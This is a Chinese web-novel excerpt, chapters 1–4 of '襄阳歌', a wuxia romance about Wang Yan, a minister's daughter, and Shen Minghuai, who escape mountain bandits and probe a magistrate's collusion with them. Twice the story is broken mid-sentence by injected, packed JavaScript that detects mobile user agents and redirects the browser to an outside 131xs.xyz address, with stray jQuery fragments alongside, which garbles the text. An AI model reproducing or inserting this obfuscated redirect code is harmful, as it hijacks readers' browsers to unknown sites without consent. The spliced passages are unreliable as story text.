《襄阳歌》 1. 非我不娶 和风吹拂，新芽初长。大地褪去厚重白衣，生机正与春日一齐蓬勃。马车平稳走在林中，一红影突然闪过。 手持长剑的侍卫与旁侧道了声：“我一会儿再回来向公子请罪！”急提剑往红衣女子的方向去。 马车内的人旋即问道：“发生何事了？” 另一侍卫驾着马车，面前忽地又杀出个黄衣女子，“公子，来者不善。” 马车内的男子只吩咐一声，数名侍卫持刀拦在黄衣女子身前。 “多谢公子！”那侍卫护着红衣女子离开，又有一人慢两步跟了上去。 戴着面具的少女细眉微蹙，视线从二人背影收回，“你是何人？为何帮她？” 车内人淡声道：“与你何干。” 已追了她整整一日，眼见就要到手了，哪儿来的菩萨心肠……王琰不由得冷声道：“下次再拦，我便杀了你。”仿佛一瞬扯回冬日的寒意，霎时四下俱寂。 驾车的侍卫嗤笑一声，“好大的口气。” 只眼眸抬起的一瞬，王琰已移至马车两步之内，持剑指向那御者的喉咙，笑盈盈对车内人道：“我说到做到。” 顿时，驾车侍卫双瞳紧缩，反应虽迟了一刻，现下亦将剑架在了王琰脖子上。四周的侍卫顷刻将她围得密不透风。 那人淡淡的调子里平添一丝冷意，“你大可试试。” “各位有话好好说，和气生财，和气——”不知何处冒出的男子从马车上跳下来，刚走近两步旋又被侍卫围住。 “你们这是何意？快放开我家公子！” 宽袍素衣的陌生男子示意仆从不要靠近，直盯着马车帘子，高抬双手，“嗳！我就一书生，连剑都提不起——与那位女侠亦不相识。”在驾车侍卫狐疑的打量下又补上那后半句。 王琰收剑的架势，好似要与来人不死不休。马车内的人又唤了声，侍卫才识趣地挪剑让道。 那素衣男子见侍卫散去，急与车内人道：“公子可是要往宜川去？附近山头匪患频发，若有幸与公子同行，在下将万分感激。” 王琰旋抓紧剑柄斥道：“你！” 素衣男子快步走到马车另一侧，向王琰拱手，“方才多谢女侠救命之恩。女侠武艺高强，那些个小匪小寇自是奈何不得，只是女侠一人行走江湖，还是不要轻信男子为好，何况这边一群男子。不妨就此别过，各自珍重。” 语速之快，生怕旁人听得清。十里外的鸟儿忽地惊飞，王琰周遭冷气四溢，留下一声冷笑便扬长而去。 “多谢公子同行之恩。”素衣男子转了个方向，复又拱手。 驾车侍卫的剑鞘直抵那男子下巴，方才消失的两个侍卫从后面的竹林走出来，后者对王琰的身手很是惊讶。 驾车侍卫立刻向车内之人请罪，“公子，是应冥轻敌了。” “何来敌友之分？不过萍水相逢。”沈明淮掀帘走出，只看了那素衣男子一眼，似乎并未放在心上。 那护花侍者被后边人踢了一脚，一个踉跄上前，毫不犹豫跪在地上，“属下有罪！请公子责罚……” 沈明淮垂眸问道：“何罪之有？” 护花侍者将头埋得极低，“属下擅离职守，还将公子牵涉险境……” 沈明淮略微不满，“说实话。” “属下与那娘子……相交甚好，见她被人追杀，于是出手相助。”护花侍者语气愈发坚定。待后边侍卫又问，他才支支吾吾认下那红衣娘子的身份。只是无人知晓那位黄衣娘子究竟是何人。 “回去再领罚。”沈明淮未再细问，一跃上马。一群人兵分两路，一队人马照例驾车去宜川，还有二人，淹没在了策马而去的风声中。 翌日山林寂静，西风四起，连马蹄声也隐没在呼啸的风声中。数十支箭毫无预兆地射来，两匹马惊得高抬双蹄，狠狠将人摔到地上。藏匿在树林的人尽数跑出，持刀将二人围住。约有二十人，个个都是魁梧的壮汉。沈明淮趴倒在地，一娇俏的叫唤从后方传来。 “沈郎！”王琰忙丢下剑，在山匪的众目睽睽下，提着裙摆跑到他身边。 “滚开！”这声喊的却颇有力气，好似急眼的兔子也会咬人。 “你怎么样，有没有伤着哪儿？” 要不是沈明淮捕捉到写满忧色的眸子下的那抹笑意，还真以为她得失心疯了。昨日说要杀了他的人，好像就是她。 “好一对亡命鸳鸯，”满颔髭须的山匪头子瞧她亦身着华锦，“一起绑了。” 麻袋套了一路，睁眼便是阴湿的牢房。王琰轻轻活络筋骨，久绑动弹不得，这会儿骨头都嘎吱作响。对面被夺了剑的二人挨着打坐。昨日那驾车侍卫头套一摘，便开始提防她，倒是他的主子，仍未正眼瞧她一次。 应冥鄙夷道：“莫非你从昨日起就一直跟踪我们？” 王琰轻哼一声，“跟踪？不过是路过见这群山匪横行霸道，这才仗义相助——那娘子是我的仇家，对二位自然不客气了些。” 提起昨日，应冥不由拧眉，“姜娘子向来不参与门派争斗，为人处事在江湖之中亦可圈可点。你……？” “你们果真相识。”王琰又从唇缝溢出几个字，“好个水性杨花的女子。” “你说什么？”应冥紧紧盯着她，“你究竟是何人？” 王琰直起身来，随手扬了扬裙上浮尘，“我？说出来怕你不信。” 应冥一跃而起，护在沈明淮身前，随口扯道：“管你是谁，就算是李长凌的相好——” 王琰忙“呸”一声，“谁是他相好？我——是他徒弟。” 应冥好似听到了天大的笑话，一阵讥笑，“扯谎也要有个限度。李长凌可从未收过徒，你给他磕了三个响头才来送死的吗？” “非也，”王琰点点手指，五指尽展，“我磕了五个他才肯收我为徒呢。” 沈明淮闻此，这才抬眸瞧了她一眼。 “你看，就说你不信罢？我姓王名清月，正是李长凌的徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276273|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟。”这句话是解释给应冥听的，王琰却饶有兴致地看着沈明淮。 此人亦着蜀锦，尽管身处阴湿的牢房内，一身银白衣裳沾尽尘泥，仍濯如春月柳，暗室内恍见琳琅珠玉。想来就算是穿粗麻布衣，也是极好看的。 王琰顿时来了兴致。上京辽辽，人海茫茫，何况她并不久居，想来下次再难相逢。只要不是皇家子，便是引火烧身，亦能毫发无伤。于是将近年行走江湖学来的本事，尽数掏出。 “这位公子姓甚名谁？家住——” 应冥硬生生打断她，“我家公子的名字，岂是江湖骗子想知晓便知晓的？” 王琰收起笑意，颇为不悦，“我问的是他，你怎么那么多话，他自己不会说么？” 沈明淮虽未刻意避开她闪烁的目光，但神情一直淡淡的，叫人瞧不出情绪。只见对面双唇轻启，答了两字——“沈郎。” 旁边的应冥由于不敢笑得太过放肆，而憋得满脸通红。王琰一下愣住，未曾想会从他口中听到这两个字，压住被摆了一道的羞恼走过去，应冥旋即警戒地迈出一步，将沈明淮护在身后。 王琰摊开双臂，一副无辜模样，“我还能吃了你家公子不成？” 沈明淮起身掸掸宽袖，示意应冥不必紧张，随后礼貌唤了声“王娘子”。 王琰双眸一转，灵机一动，踮起脚迅速凑到沈明淮耳边，呢喃一声。 “沈郎——” 显然，还未说完就被应冥推出三尺远。若非应冥未料到她会如此大胆地越界，错愕了一瞬，她是连那两个字也说不了的。 方才她凑得极近，说话呼出的气息落在沈明淮的耳朵上，热气裹住耳尖露出浅红色。沈明淮的神色却无一丝波动，拙劣的挑逗…… 一女子的笑声忽地出现，“好生热闹，三位这是来我云岩山做客来了？” 王琰闻声看去，这山头的寨主竟是女子。青衣红唇，头上金饰繁多，腕上金镯撞击的声响在安静的地牢中尤为明显。他们所言不虚，此寨富得流油啊。 “哟，怎么是两位官人和一位小娘子？这可难办。” 楚如霜照例打量起那二人来，“白衣官人，好一副楚楚可怜的模样，真让人受不住。剩下那位，灰头土脸的小子，便与妹妹你凑合凑合。” 楚楚可怜？王琰在一旁轻轻挑眉，又瞟了沈明淮两眼，真真——情人眼里出西施。 应冥未再跳起来，仅动了动嘴皮子，“凑不凑和可不是你说了算。” 王琰在一旁看着只觉有趣，笑意难掩。是了，她本就是来瞧热闹的。 楚如霜却不乐意了，立马察觉，“你笑甚？” 王琰忙摆摆手，“姐姐，我只是觉得细皮嫩肉的郎君，的确很适合你美容养颜。只不过——” 楚如霜又问：“只不过什么？” 王琰颇为无奈地看向沈明淮，“只不过沈郎说非我不娶，怕是不愿从你。” 应冥正欲反驳，却被沈明淮按住。 2. 流霜剑法？ 这人依旧面无表情，深邃的眸子又好似装满了情绪。既选择沉默，她便不客气了。 楚如霜笑起来，耳坠都在颤，“妹妹可知郎、才、女、貌这四个字？这位官人长得如此俊俏，怎会喜欢妹妹这般长相呢？” 沈明淮先前虽有注意到这娘子容貌一般，但现下认真一瞧……还是不要认真瞧了。 小娘子的脸宛若芝麻团子，唇边一颗不小的黑痣显目，只一双清眸沾着些许狡黠。头上只一根花卉云纹玉簪将部分头发束起，其余秀发垂于身后。象牙色落花流水纹褙子，雪青百迭裙，似是荣锦坊的手艺。上京，王家。 王琰继续煞有其事道：“姐姐不知，他这人，怪得很。你这样貌美的娘子反而不合他的眼。像我这般平凡的，他才不会担心被旁人觊觎。” 楚如霜越发觉得王琰有趣，被她赞美一番，很是受用，“妹妹倒是个伶牙俐齿的，与了那小子着实可惜。这样罢，我将你许给老二，做他的小娘可比做土小子的大娘子好。” 此人果真没那么容易对付。王琰只得先装傻应付两句，“唔——他比沈郎还俊么？是不是会给我数不尽的漂亮衣裳？” 金饰又开始叮当作响，楚如霜笑道：“是，老二这人，比我富。” 王琰又将话题引回沈明淮身上，“但沈郎定不会轻易放手，若他惹恼‘老二’，迁怒于我，我找谁说理去？” 楚如霜让王琰放一万个心，沈明淮马上就会是她的人，老二得罪不起。王琰旋即展颜，急要见见这二当家。二人一来一回，聊得火热。 沈明淮一直留意着里外的动静，莫非此人亦是来查云岩山…… “妹妹这般主动，定合老二的意。不过他不喜你这样的装束，我着人领你去换一身。”说罢，楚如霜便让人打开了牢门。 这一举动惹得牢内三人忽打起十二分精神。细微的声音入耳，王琰忽地勾唇，将外袍拢了拢，往楚如霜身后用力张望，“姐姐，好似有人来了。” “你又耍什么花——” 外头的山匪果真慌慌张张跑进来，告知楚如霜，“三当家，不好了！粮库起火了！” 在走进来那两山匪回头之际，王琰旋即从腰间抽出软剑，一瞬化曲为直，谁料一眨眼的功夫，筋骨具软，勉强靠剑撑着才未摔到地上。 两个山匪回过神举刀攻来，“借用一下”急从口出，沈明淮忙夺过剑在二人持刀的臂上割出一道血口。 应冥见势亦将山匪一脚踹开，迅速拾起一把落地的刀，疑道：“你的剑怎么……”那两山匪不过割伤了手，却亦像中了软骨散一般，跪倒在地。 王琰未料麻袋里竟撒了药，就这般遭人暗算，恨得咬牙切齿，“我的剑，可碰不得。” 沈明淮一手扶起王琰，颈间的一道疤痕似乎是新落下的，“解药。” 王琰站直后挪开他的手，先是抬眸瞧了他一眼，后迅速服下，“多谢。” “你们两个怎么没事？！来人，给我拿下他们！” 不想竟是个腰间藏剑的练家子，还有两个提前服了解药的老狐狸……楚如霜气得双眼发红，跟着通报者匆匆离去后，一下涌入十几个衣着相似、手刀在握的汉子，在牢外严阵以待。 应冥当即反省，“属下失策，下回一定藏一柄。” 沈明淮直切要害地问：“你有软剑？” “……没。” 应冥和沈明淮率先走出牢房，药效还未起，王琰只得跟在他二人身后躲闪。只顾着躲右侧的刀，一不小心撞到前边人的背上。 沈明淮又扶了身后的小娘子一把，还是道了声：“当心。” 主从二人配合绝佳，不过一会儿，便已突出重围。身后的山匪因软剑上的药粉倒了大半。 王琰正正裙摆，不屑道：“哼，就这三脚猫的功夫，还是趁早转行罢。” 沈明淮无言瞧了她一眼。 “怎么？若不是我这柄剑，你们还不知道要被关到何时呢。” 走出地牢，外面显然也刚结束一场混战。火光冲天的方向，不断往返的山匪，提着一桶又一桶水。一抹熟悉的红衣身影转瞬隐匿在匪群中。 护花侍卫神色慌张地跑过来，又准备跪下，被应冥一把拉起，即改作揖，“属下护卫不力，请公子责罚！这便护公子离开。” “慢着。”王琰正往远处瞧，手握了握剑柄。 护花侍卫这才发现昨日那个不分青红皂白就要杀人的女杀手，便站在他家公子身后，不由叫道：“是你！怎还敢——” 不等他说完，王琰抬剑向那满颔髭须的山匪攻去。让人措手不及的剑招又快又奇，不到半盏茶的时间，那山匪便落了下风。 应冥惊道：“流霜剑法？！” 还有一叫华信的侍卫，从另一个方向走来。他将一沓纸揣进怀里，方与沈明淮一同转身，循应冥的视线望去。 与流霜剑法确有几分相似。出招、守势、攻法，皆以疾而行，而李长凌的流霜剑法，便是以快扬名。虽算不上真正的流霜剑法，但可谓深谙其精髓。 眼见那山匪败下阵来，脖子上已架着沁了血的软剑。王琰似是询问了些什么，得到答复便将人放了，那大汉狂磕两个头后撒腿便跑。 王琰走过来对沈明淮道：“在西面库房里。” 应冥低声问沈明淮：“公子，莫非她就是李少侠身边的那位娘子？” 那日前来领粥的娘子戴着帷帽，他并未看清她的样貌。沈明淮未答，转身往西面去。 华信低头拢紧衣裳，又向一旁的王琰打探道：“娘子刚刚使的可是流霜剑法？” 王琰就等着这句话似的，摇摇指头，“非也。是流霜剑法的徒弟——落花剑法，就是将敌人打得落花流水的意思。” 应冥嘲道：“落花？偷鸡摸狗学来的剑法倒取上了自己的名字。” “有词曰目不识丁，你这叫目不识剑，”王琰面不改色地挤开华信，走到沈明淮旁侧，“沈郎，你说，我这剑法是不是与流霜一脉相承？” 闻“沈郎”二字，另两个侍卫吓得心惊胆颤，频频向他家公子看去。沈明淮只瞥了她一眼，并未搭理。王琰也不 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沈明淮自认有知人之明，却有些看不透这素未相识的娘子。昨日似有血海深仇，今日反又有些许不平之意，似仇人，又似——朋友。 “我可不是谁的闲事都管。所谓送佛送到西，好人做到底。此等好剑，公子若是丢了，怪可惜的。”王琰眉眼弯弯地看着沈明淮，“作为报答，我不求什么，你只需告知我你的名字便可。” 应冥又忍不住了，“我家公子——” 王琰强忍下怒气，“你家公子的名字岂是我这个黄毛丫头想知晓就知晓的？我问他呢！你怎么老插话？” 应冥直愣住，沈明淮终于开口，说了长长几句，好似要将此生二人之间的话一次说尽。 “交友讲究一个诚字，王娘子既无心告知在下姓名，在下也没有如实相告的必要。且江湖之广，彼此只是匆匆过客，又何必在意名这等外物？今日感谢娘子出手相助。在下还有急事，便先告辞。” 王琰还未有所反应，沈明淮早已行过礼，领着一群人就走了。 “这位娘子，打尖儿还是住店？” 小二迎上来，见她染血的衣裙，话都说不利索了，“你你你！这血———” 外边适时地打了一声响雷，似乎大雨将至。王琰简单擦拭了云衣，倒将自己忘了。 “嗳！这是猪血。我爹是卖猪肉的，我原在旁看着，谁知今日那猪特不老实，竟发疯向我冲来，情急之下划了一刀，便溅了一身。我这衣裙可是我爹好不容易攒钱买的，也不知洗不洗得掉……贵店不避讳这个罢？” 王琰又愁又苦地看着他。在这片呆了近一个月，早已将当地妇女的模样学去八分。 小二将信将疑，“这……倒是不忌讳，只是——” 王琰从兜里拿出一锭银子，小二二话不说迎她入座。 方要坐下，一男子的视线灼烈地烧过来，腰间的青玉花纹佩直垂在墨袍边上，骨节分明的手握着茶杯，抵在唇边又放下。 “阿兄……？” 3. 官匪勾结 王琰暗道不好，怎么刚探完虎穴，就要被抓回去了。 王桢大步走来，眉目间满是忧色，“怎的这副模样？这些血是怎么回事？你受伤了？快寻大夫！” 王琰拉着王桢坐下，安抚道：“不是不是，这些不是我的血，我没受伤。阿潆好着呢。”说着撕下媒婆痣，胡乱将脸上的麻子抹掉。 唤完小二上菜，王桢才拿出帕子，仔细为她擦干净，温声道：“真是胡闹，不留音信消失两日，出事了怎么办？” 王琰乖乖坐着，“我的功夫足以自保，阿兄莫忧心。” 每回都变着法与李长凌在一处，谁也不知他身边的小娘子、小官人一直都是同一个人。有李长凌在，皮外伤都难得。 “你怎穿成这副模样？”王桢这才注意到她这身衣裳，是此番离家时，替她新制的春衣。 “穿素了回家，阿兄又说我好似无父无母无兄的落魄小娘子。今日穿得好了些，阿兄又问我怎穿成这样。你瞧，行走江湖，见血是常有的事，这不是白白糟蹋了一身好衣裳？” 王琰这才细细看起裙摆来，星星点点的血渍散在金牡丹之间，好似要开出一朵朵染血的山茶花来。 王桢抚平她的眉，“一件衣裳罢了，回去后到荣锦坊再做几件便是。” 王琰见他气渐渐消下去，不经意提起今日救了一位公子。 “我瞧着，他也是上京人。” 王桢将手帕叠好放在桌上，“上京二十余万户，是上京人又有何稀奇？” “不是普通人家，该是官家子弟。”王琰又打趣起他来，“不过我大越百姓未来的父母官，免省被罢，开始做闲云野鹤了？” 王桢笑道：“能耐不少，教训起阿兄来了。” “我可没有。”王琰四处望了望，“只是平素只见信不见人，此次亲自来，有些意外。” “胡乱瞧什么呢？览之先往上京去了，留了封信与你，吃完再回房看。” “说好在这见的……今早还给他传信呢。”王琰撇撇嘴，“云岩山上也不和我招呼一声。” 小二上菜听见她二人要去云岩山，将食案一收，苦口婆心劝了一番。云岩山那群贼匪占山为王许多年，专挑家境殷实的人家下手。 “我瞧您二位也是大户人家，好心提醒一句，还是绕道为好。” 初见楚如霜那堆金叠玉的样子，王琰已暗暗证实了心中猜测，果真如她先前所闻那般。 “官府不管么？” “那群山匪只劫富，又盯不到咱老百姓头上，自然没什么人闹。”小二又低声说了两句，“宜川那县令，本就是穷秀才，指不定早和山匪勾结上了，谁知道呢……” 王桢听得直皱眉，“正当赚取钱财发家者不占少数，怎可仗理行窃？更何况这理，本也立不住脚。” 不似王桢热心家事国事天下事，王琰对这些向来不感兴趣，待小二走后，遂又问起李长凌。 “好端端的，怎地去上京了？” “自是为了你。” 王琰奇道：“为了我？” 菜上齐了，不知是不是见她已饥肠辘辘，王桢似乎并不打算继续说了。 她这个兄长未涉江湖，与那些高阁内读遍经书的文人一样。举手投足颇具风雅，吃饭更是细嚼慢咽，外人瞧了王琰没规没矩的样子，也难觉着二人会出自一家。王桢实是王家一贯的做派，王琰这随意性子，当是另类。良玉的完工之笔，不在王家。 王桢先行放下筷子，见她吃好了，方道：“我此番来，是接你回京。” 王琰拉耸着脑袋，“我就知……” 王桢话还未尽，重点实在后半句，“乖乖跟阿兄回去。阿兄总不能替你完成笄礼罢？” 王琰细眉一攒，“笄礼？我以为父亲母亲已经放弃这个想法了，我都预备十六了，还准备什么笄礼。” 王桢和声解释道：“去岁你大病一场，父亲母亲才同意你在扬州调养，这个笄礼本就该补。只不过……淑妃要为笄礼的正宾。” 听到这消息，王琰险些没坐稳，低声惊呼，“淑妃？！为何！阿爹区区一个尚书……此等殊荣我会折寿的罢。” 王桢敛起笑意，正色道：“此事还须回京与父亲母亲好好商议，怕是……” 雨倾盆而下，疾风击得窗户直响。 “阿嚏——” “明知身子还未好全也不多穿些，快回房将衣服添上。” 王琰披着王桢的大氅上楼之时，见掌柜的娘子一口一个“沈郎”，扭着腰下去，手里还拿着一支上好的玉簪。早上那会儿还叫“姓沈的”，这会儿又喊起“沈郎”来了。王琰不解地推开厢房的门。 合上门后，华信将匪寨搜罗来的东西尽数交与沈明淮。 “属下已差人告知宜川县令，马匹瘏悴，会延误两日。” “只是三当家，怕是不够。”沈明淮脱下沾血的外袍，“那位祝公子——” “公子放心，我等是待那姓祝的入城才回此等候。估摸是个游医，马车上好几箱草药。” 沈明淮只点了点头，又说起另一件事，“粮库的火不是你们放的。” “是。此次出行带的人手就这些，属下还担心这山寨人多势众，有些棘手，不想那粮库忽然起火，倒是给我们制造了机会。” 沈明淮的黑眸映在茶里，让人瞧不清。上京王家，流霜剑法。 华信听到沈明淮的猜测后，不由倒抽一口气。应冥的声音从门外传来，华信旋将这惊雷抛过去。 “今日那小娘子，是户部尚书那孱弱多病的女儿，王琰！” “户部尚书之女？公子怎知？” 应冥一向对这些事不上心，别说什么户部尚书之女，就算是大越有几个公主，他也是不知的。 年前，卫王一个口信将还在筹备除夕晚宴的沈明淮叫到卫王府，说是有十万火急的事要他帮忙。沈明淮一进书房便看见满地的画像。这已是淑妃筛选过的结果。 “明淮来替我瞧瞧。”卫王钱煦招呼婢女退下。 沈明淮站定在门口，一副置身事外的样子，“恕明淮无能，显然超出了我的能力范围。” “这些画像可是本王费了九牛二虎之力收集来的，” 钱煦料到他会这么说，已自顾自地观察起来，容貌平平者首先被择出。第一卷便是王琰的。眉眼瞧不出什么，倒是满脸的麻子引人注目。 “王尚书之女？那个药罐子，从未在宫宴上见过。”钱煦将画像卷起来往旁放了放。 沈明淮随着瞧了两眼，“据说她已两年未出府，这画像大抵是从前的，不真。” 钱煦又拿起一卷画，“这是坊间那白百道弄来的。他的消息，可信。” 沈明淮思绪飘远，忽又记起一事，心神更乱了。 “久仰国公大名，闻沈公子亦器宇轩昂，今日一见，当真是拔群之姿。” “刘县令客气了。” 刘大年恭恭敬敬迎沈明淮入席，已摆上一整桌好酒好菜。 沈明淮按住刘大年要替他斟酒的手，直摆明身份。 “我此番来，亦是受卫王之托。开岁大雪，尤以丹州受害最为严重，下辖各县皆捉襟见肘，不断发来申状，亦或频频拜访州府，唯有宜川，刘县令治理颇佳，财之不匮，衣之不寒，食之不缺——卫王让我向刘县令请教一番，回京后好与陛下禀明刘县令之功。” 刘大年放下注子，连连赔笑道：“折煞我也。刘某只是做了分内之事，领圣上俸禄，替圣上分忧，这是应该的，不敢居功。反倒是沈公子，听闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276275|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在官家开仓救济之下，还自费广设粥棚，分发御寒衣物，实乃尔等之榜样。” 沈明淮再次认真打量起眼前之人，弯低的腰骨、奉承的神情，齐整的官服，以及他往里收了收的麻布内衬。 “广设粥棚、分发衣物，皆承圣上恩泽，以皇家名义造福百姓，刘县令是觉得殿下在以权谋私？” 刘大年连连摆手，“刘某不是这个意思！怎敢以鄙人的浅陋无知揣度圣意？沈公子多虑了——” “这饭菜可还合二位官人的口味？”酒楼的东家章昌船忽地出现，“这位便是沈公子？” 沈明淮还未开口，章昌船旋又自报家门。 “我就是这金满楼的东家，公子救济百姓实在辛苦，这些菜若不合公子口味，我再着人另做一些，不知……” 章昌船这伏低做小的模样，倒是与一旁的刘大年如出一辙。刘大年方要开口，沈明淮却向章昌船问起一个人。一位身着蜀锦、儒雅朗俊，腰间挂着青玉玉佩，亦是从京城来的人。 “您的意思是如您一般风姿绰约的京城贵公子？” 奉承之辞随手拈来的人，沈明淮见得不少，料他下一秒必是有所求。 见沈明淮未否认，章昌船一番苦思冥想，遗憾道：“不曾见过。可是公子的好友？” 沈明淮握上瓷杯，眉头微锁，“前些时日我二人在萱草坡遇见，因车殆马烦，约好两日后在此相见，昨日与今日皆不见其人，我担心……” 章昌船迅速与刘大年相视一眼，后者忙道：“许是与公子一般，马匹瘏悴，误了些时间。” 章昌船立马附和道：“对，对。萱草坡到此不过五十里，许是明日便到了。不知公子好友尊姓，我替公子留意着些。” 沈明淮起身行礼将二人吓了一跳，“友人姓王。沈某在此，先谢过刘县令和章掌柜。” 刘大年忙扶起他，“沈公子何必行此大礼，实乃刘某份内之责。”章昌船附和着扶起了另一侧。 沈明淮面露难色，“实不相瞒，听闻云岩山贼匪横行，故而担心友人……” 刘大年极力藏住急色，“公子放心，刘某定尽力助您与友人相聚。” 沈明淮再行一礼，“有劳。” “我要见刘县令！别拦我！” 本应在县衙停下的马车直驱而去。 “老伯，那是何人？”沈明淮在县衙对面不远的一饮子铺坐下。 老伯回过身望去，“他啊，窦大商人啊。官人是外地人罢？” 沈明淮露出一副不谙世事的模样，“是。我正欲回京，路过此地歇脚两日。” “原是上京的公子。你有所不知，咱宜川县附近的那云岩山，山匪横行霸道好些年了，专挑富贵人家下手。据说都是劫财，劫走的娘子只要交足赎金，马上就放了。那窦大商人此前从未被劫过，此次小女儿被掳了去，交了赎金人却未归，昨日便来县衙闹了好大一遭，被衙卫轰走，今日又来了……” “姓刘的，你给我出来！空有县令之名，却多年对山匪一事坐视不管，宜川县迟早会在你治下发烂发臭！” 老伯频频摇头。 “多年如此，县令当真不管？”沈明淮的视线仍停留在窦崇康的身上。 “宜川县早就传遍了，县令与那匪头蛇鼠一窝，如何管得了？况且那山匪劫不到咱老百姓头上，我们的生活不知比他们苦多少，哪还有心思替他们喊冤呢！” 老伯深深叹了口气。 沈明淮捧起了他眼前那碗饮子，“这类事可时常发生？” “公子是说商人来县衙伸冤？多是不多，只是以往来的小富小贵的人家，都不甚有威望，衙役一下便撵走了。况且被掳的人，十有八九，不出半年便会从云岩山回来，这等事，也算是头一遭。” 4. 背后真相 说罢，老伯又回去卖弄他的饮子去了。 入夜，应冥将刘大年的亲疏远近都介绍一遭后，华信才回到旅店。 “正如公子预料那般，那刘县令与云岩山那群贼匪有密切勾连。” 在金满楼宴请沈明淮之后，回到县衙不久，又从后门出去，匆匆忙忙到神仙居见了一个人。刘大年离开一刻后，那云岩山的贼匪才从厢房内出来。 应冥不解道：“你怎知是云岩山的贼头？” 华信确信就是向王琰磕了几大个头的那位，“我能记不清吗？若不是他我还真认不出来。” 应冥提醒道，“你好端端地提她做甚？” 华信瞄了沈明淮一眼，更为放心了，“公子都不介意，你怎这般在意？又不是那尹士成，与王娘子有仇。” 不等应冥开口，华信忽又一拍脑袋，“对了，我跟着那县令回了他府中，院子很大，仆从却不多，大部分地方似乎没有生活痕迹，后院晾着许多又皱又旧的衣裳，他的宝贝是不是都藏在屋里呢？装清贫给谁看啊。” “一个从七品县令，若与云岩山的山匪勾结，必不会是如此景象……”沈明淮方才似乎有片刻走神，话音断断续续流入双耳，“明日我们去拜访一下那位窦大商人。” “吁——” “你是何人！竟敢拦窦家的马车？！”驾车的厮儿牵绳怒斥。 应冥抱拳抛下一句，“我家公子有请，事关令爱与云岩山一事。” 窦崇康二话不说跟着应冥来到银满楼，一见到沈明淮便要跪下，“请沈公子救救小女啊！” 沈明淮疾步上前，扶起窦崇康，“窦员外快快请起。” “还请公子帮窦某这一次，就算是倾家荡产，我也愿意！”窦崇康不肯起来。 沈明淮仍保持扶他的姿势，却未使力，“此事并非沈某不肯帮，只是需先生配合一二。” 窦崇康牢牢抓住沈明淮衣摆，“公子只管开口，有什么需要我做的，窦某定鼎力配合！” 应冥随即将窦崇康一把提到椅子上，沈明淮斟茶递过去，“窦员外与刘县令，可是故交？” 窦崇康瞥了沈明淮一眼，支支吾吾不愿细说。 “此前因你二人的交情，刘县令嘱咐过那山匪，切勿对窦家下手。可此次不知为何，既劫了钱财，又掠走令爱。不知沈某的推测，可还正确？”沈明淮的视线始终未偏离茶杯半分，好似并不在意答案正确与否。 “既是猜测，沈公子有何依据？”窦崇康一改先前的阿谀之态，眉间已染上愠色。 沈明淮轻放茶杯，起身欲走，“既如此，卫王殿下还有事须我去办，沈某便只能告辞——” 听到“卫王”二字，窦崇康还是松了口，“我与刘大年确是故交，亦知他与山匪常有往来……但我绝不知他会与那些匪贼分赃！也不知如今他竟这般无情……” 沈明淮一直留意他的神情，“刘县令从前非是现在这般？” “是啊。我两在扬州相识，他北上赴任，我北上行商。兜兜转转又在这宜川县相遇，却不知他近些年出了何变故，与贼匪勾结不说，从前那一身傲骨，如今不见一丝一毫。” 瞧见刘大年一脸痛惜的模样，沈明淮认下他的话，又道：“我的解救之法需刘县令相助。” “我已连着两日去找他，皆被拒之门外，他早不是当年那个刘大年了！”窦崇康的情绪又激动起来。 沈明淮定眸道：“尽管很多地方变了，但有的地方，或许未曾改变。” 窦崇康将信将疑地看向沈明淮，“沈公子可是发现了什么？” “可能需要员外与我一齐逼他一把。”沈明淮看起来有十足的把握。 窦崇康瞬间了然，“你是说他与贼匪勾结是被逼无奈之举？” “若想借助县衙之力捉捕贼匪，不可直捣其窝点，还须使些巧劲。” 沈明淮又择了一些匪寨的消息告知窦崇康。经上次一闹，此番再去，定需改换面容。只是他身旁未有此等技术之人。 窦崇康认为此举不妥，“沈公子怎可以身涉险？我立即去寻一俊俏官人，让他代我们先去探探。” “何须官人？娘子也是一样。”一娇俏女声在厢房外响起。 窦崇康旋即警戒，“谁？！” 好生耳熟。沈明淮示意应冥打开厢房门，似曾相识的眉眼闯进视线中。 “自是沈公子的京中好友，不想在此遇见。偶然听闻二位需人入寨作饵，正巧前些日子我去过，对那里还有些熟悉。既令爱被掳至今未归，可见那贼匪并非只中意俊俏公子，且我会些武艺，找到令爱后亦能护她一二，窦员外觉着如何？” 窦崇康瞧不清这小娘子的面容，只见她面纱之上一双明眸，即使不是上京的达官显贵，亦是大户人家的千金。 沈明淮直盯着她，仿佛想凭双眼就将她看穿，还是是想让她如“立”针毡，自讨没趣后离开，她猜不透。但这桩好事，王琰偏就插手定了。 “娘子为何帮窦某？” “沈公子是我好友呀。” 窦崇康只瞟了一眼沈明淮，即迅速请王琰入座。 “不必了，二位还有事要忙罢？窦员外只需借我一身华衣、一辆马车与三两仆从即可。” 窦崇康这才将她从头到尾瞧了一遍。是穿得素净了些，颈无金饰、腰无玉环，怎么看都不似富贵人家的孩子。 “今夜我便差人送一套衣裳与娘子，届时将确切的时间写于纸上。” 王琰笑道：“窦员外爽快。我便不打扰二位了，告辞。” 人前脚刚走，窦崇康便问：“那娘子真是公子好友，怎地公子一字不言？” 沈明淮亦起身往外走，“不是。” “这——”窦崇康连忙跟上，“那这娘子可否会武？” 沈明淮顿了顿，随即加大步子，“若要救令爱，还是快去寻刘县令。” “县令，沈公子求——” 